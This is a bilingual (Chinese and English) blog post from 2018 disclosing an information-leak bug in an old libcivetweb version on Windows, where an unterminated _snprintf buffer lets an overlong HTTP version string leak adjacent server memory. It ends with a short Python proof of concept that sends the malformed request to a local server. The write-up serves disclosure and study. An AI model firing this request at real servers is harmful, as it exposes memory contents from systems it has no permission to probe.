Saturday, June 23, 2018

[03] 跨平台的代码实现问题

此问题是我在审计旧版本的libcivetweb库时发现,线上版本已在2017年之后的某个版本修复

mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

这里,mg_snprintf() 是vsnprintf的Wrapper。需要注意的是,在Windows上,*snprintf族函数在输入长度>buf长度时,并不会添加。 参考MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx):

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

所以,如果在Visual Studio和Windows环境下编译这段代码,然后发送一个错误的HTTP版本号,如HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , 输出的字符串 “Bad HTTP version:[1.XXXXX” 将不会有结尾。

所以,当下一行被执行时,
mg_send_http_error(conn, 505, “%s”, ebuf);

这个字符串会发送给用户,注意这个字符串是没有结尾的,所以这里实际上会越界读取内容,并发送紧邻的内存数据,导致服务器内存信息泄露。

——————–英文版—————–

Multiple Information Leak Vulnerabilities on Windows Platform (Windows Only)

Please note this vulnerability is already fixed in early 2017, this is a report based on the older version (year 2014).

civetweb.c
mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

mg_snprintf() is a wrapper for vsnprintf. Please note on Windows platform, *snprintf family functions will not add a terminating zero to the buffer if the length of input is larger or equal to the given length, as the MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx) says:

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

So actually when you compile this code & run this code use Visual Studio & Windows, and send an HTTP request with malformed HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , the output string “Bad HTTP version:[1.XXXXX” will be truncated and with no x00 append to it.

When the second line is being executed:

mg_send_http_error(conn, 505, “%s”, ebuf);

This string is send to HTTP buffer, and the memory data adjacent to “ebuf” will be leaking to the attacker. Other snprintf calls without mandatory adding terminating zero will also face to this problem.

PoC:

#!/bin/env python
import time
import socket

host1 = '127.0.0.1'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host1, 8081))

data_to_send=("GET / HTTP/1." +  '1' * 120 + " rnContent-Length: 0rnrnrnrn")

print(data_to_send)
s.send(data_to_send)

while True:
    new = s.recv(4096)
    if not new:
      s.close()
      break
    print(new)

s.close()